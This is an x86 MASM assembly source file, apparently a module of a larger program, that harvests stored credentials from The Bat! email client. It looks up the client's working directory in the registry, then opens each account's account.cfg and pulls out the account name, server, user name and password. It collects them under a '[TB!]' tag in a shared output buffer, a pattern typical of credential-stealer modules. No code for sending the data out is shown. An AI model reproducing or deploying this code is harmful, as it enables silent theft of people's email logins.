; ----------------------------------------
;
;  (C) Alex Demchenko (alex@ritlabs.com)
;          http://www.cobans.net
;
; ----------------------------------------




; #########################################################################

        .data
                szTheBatDivider db "\account.cfg",0
                szTheBatSearch  db "*.*",0
                szTheBatKeyPath db "SOFTWARE\RIT\The Bat!",0
                szTheBatWorkDir db "Working Directory",0

        .data?
                szTheBatServer  db 100h dup(?)

        .code

; #########################################################################

ReadTheBatStrProperty proc hFile: DWORD
        LOCAL   bRead: DWORD
        invoke  ReadFile, hFile, ebx, 4, addr bRead, NULL
        invoke  ReadFile, hFile, edi, [ebx], addr bRead, NULL
        mov     eax, [ebx]
        mov     byte ptr[edi+eax], 0

        ret
ReadTheBatStrProperty endp

; #########################################################################

GetAccountPassword proc uses esi edi ebx lpPath: DWORD
        LOCAL   hFile, dwSeq, dwLen, bRead: DWORD

        mov     byte ptr[lpBuf1], 0
        mov     byte ptr[lpBuf2], 0
        mov     byte ptr[lpBuf3], 0
        mov     byte ptr[szTheBatServer], 0

        invoke  CreateFile, lpPath, GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0

        mov     hFile, eax
        inc     eax
        jz      @end

        ; Read entries
        lea     ebx, dwLen
        mov     esi, 20h
@loop:
        invoke  ReadFile, hFile, addr dwSeq, 4, addr bRead, NULL
        invoke  ReadFile, hFile, ebx, 4, addr bRead, NULL

        .IF     dwSeq == 02h
                lea     edi, lpBuf1
                invoke  ReadTheBatStrProperty, hFile
        .ELSEIF dwSeq == 0Bh
                lea     edi, szTheBatServer
                invoke  ReadTheBatStrProperty, hFile
        .ELSEIF dwSeq == 0Fh
                lea     edi, lpBuf2
                invoke  ReadTheBatStrProperty, hFile
        .ELSEIF dwSeq == 10h
                lea     edi, lpBuf3
                invoke  ReadTheBatStrProperty, hFile
        .ELSE
                invoke  SetFilePointer, hFile, [ebx], NULL, FILE_CURRENT
        .ENDIF

        dec     esi
        jnz     @loop

@free:
        invoke  CloseHandle, hFile

@end:        
        ret
GetAccountPassword endp

; #########################################################################

GetTheBatPasswords proc uses edi lpPath: DWORD
        LOCAL   FindFileData: WIN32_FIND_DATA
        LOCAL   hFind: DWORD
        LOCAL   lpTemp: DWORD

        invoke  LocalAlloc, LMEM_FIXED, 1024
        mov     lpTemp, eax

        invoke  lstrlen, lpPath
        mov     edi, eax

        invoke  lstrcat, lpPath, offset szTheBatSearch

        invoke  FindFirstFile, lpPath, addr FindFileData
        mov     hFind, eax
        inc     eax
        jz      @end

@find_loop:
        mov     eax, lpPath
        mov     byte ptr[eax + edi], 0
        invoke  lstrcat, lpPath, addr FindFileData.cFileName
        invoke  lstrcat, lpPath, offset szTheBatDivider

        ; Find Password
        invoke  GetAccountPassword, lpPath

        .IF (byte ptr[lpBuf1] != 0 && byte ptr[lpBuf3] != 0)
                szText  szTheBatFmt, "%s: (%s) [%s] %s",13,10
                invoke  wsprintf, lpTemp, addr szTheBatFmt, offset lpBuf1, offset szTheBatServer, offset lpBuf2, offset lpBuf3
                invoke  lstrcat, GlobalBuffer, lpTemp
        .ENDIF

        invoke  FindNextFile, hFind, addr FindFileData
        test    eax, eax
        jnz     @find_loop

        invoke  FindClose, hFind

@end:
        invoke  LocalFree, lpTemp

        ret
GetTheBatPasswords endp

; #########################################################################

GetTheBatOutput proc
        LOCAL   hkHandle, DataType, BufSize: DWORD

        ; Write the greet message
        szText  szTheBatGreet, "[TB!]",13,10
        invoke  lstrcat, GlobalBuffer, addr szTheBatGreet

        ; Query the HKCU->Software->RIT->Working Directory
        invoke  RegCreateKey, HKEY_CURRENT_USER, offset szTheBatKeyPath, addr hkHandle
        test    eax, eax
        jnz     @end

        mov     BufSize, MAX_PATH
        invoke  RegQueryValueEx, hkHandle, offset szTheBatWorkDir, NULL, addr DataType, offset lpBuf4, addr BufSize
        test    eax, eax
        jnz     @end_and_free

        ; Get passwords from account.cfg files
        invoke  GetTheBatPasswords, offset lpBuf4

@end_and_free:
        invoke  RegCloseKey, hkHandle

@end:
        ret
GetTheBatOutput endp
